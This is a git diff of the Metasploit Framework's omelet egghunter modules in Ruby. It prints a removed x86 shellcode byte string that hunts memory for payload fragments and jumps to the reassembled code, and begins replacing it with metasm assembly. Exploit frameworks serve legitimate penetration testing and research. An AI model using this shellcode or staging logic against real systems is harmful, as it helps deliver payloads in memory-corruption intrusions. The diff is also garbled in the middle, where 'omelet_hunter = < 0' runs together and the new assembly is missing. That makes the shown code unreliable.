diff --git a/lib/msf/core/exploit/omelet.rb b/lib/msf/core/exploit/omelet.rb index 77a61fb341..20d4e59206 100644 --- a/lib/msf/core/exploit/omelet.rb +++ b/lib/msf/core/exploit/omelet.rb @@ -40,7 +40,7 @@ module Exploit::Omelet larch = larch[0] if (larch.kind_of?(Array)) if los.nil? - raise RuntimeError, "No platform restrictions were specified -- cannot select egghunter" + raise RuntimeError, "No platform restrictions were specified -- cannot select omelet hunter" end omelet = Rex::Exploitation::Omelet.new(los, larch) diff --git a/lib/rex/exploitation/omelet.rb b/lib/rex/exploitation/omelet.rb index 1bd3bda63c..7d94a2db3f 100644 --- a/lib/rex/exploitation/omelet.rb +++ b/lib/rex/exploitation/omelet.rb @@ -1,5 +1,7 @@ require 'rex/text' require 'rex/arch' +require 'metasm' + module Rex module Exploitation @@ -89,66 +91,120 @@ class Omelet nr_eggs = nr_eggs+1 end + nr_eggs_hex = "%02x" % nr_eggs + eggsize_hex = "%02x" % eggsize + + hextag = "" + eggtag.split('').each do | thischar | + decchar = "%02x" % thischar[0] + hextag = decchar + hextag + end + hextag = hextag + "01" + # create omelet code - the_omelet = "\xeb\x24" + - "\x54\x5f" + - "\x66\x81\xcf\xff\xff" + - "\x89\xfa" + - "\x31\xc0" + - "\xb0" + nr_eggs.chr + - "\x31\xf6" + - "\x66\xbe" + (237-eggsize).chr + "\xff" + - "\x4f\x46" + - "\x66\x81\xfe\xff\xff" + - "\x75\xf7" + - "\x48" + - "\x75\xee" + - "\x31\xdb" + - "\xb3" + (nr_eggs+1).chr + - "\xc3" + - "\xe8\xd7\xff\xff\xff" + - "\xeb\x04" + - "\x4a\x4a\x4a\x4a" + - "\x42" + - "\x52" + - "\x6a\x02" + - "\x58" + - "\xcd\x2e" + - "\x3c\x05" + - "\x5a" + - "\x74\xf4" + - "\xb8\x01" + eggtag + - "\x01\xd8" + - "\x87\xfa" + - "\xaf" + - "\x87\xfa" + - "\x75\xe2" + - "\x89\xd6" + - "\x31\xc9" + - "\xb1" + eggsize.chr + - "\xf3\xa4" + - "\x4b" + - "\x80\xfb\x01" + - "\x75\xd4" + - "\xe8\xa4\xff\xff\xff" + - "\xff\xe7" + omelet_hunter = < 0 - payloadpadding = "A" * padlen - end - fullcode = payload+payloadpadding - eggcnt = nr_eggs+2 + payloadpadding = "A" * padlen + + fullcode = payload + payloadpadding + eggcnt = nr_eggs + 2 startcode = 0 arraycnt = 0 + while eggcnt > 2 do egg_prep = eggcnt.chr + eggtag this_egg = fullcode[startcode, eggsize]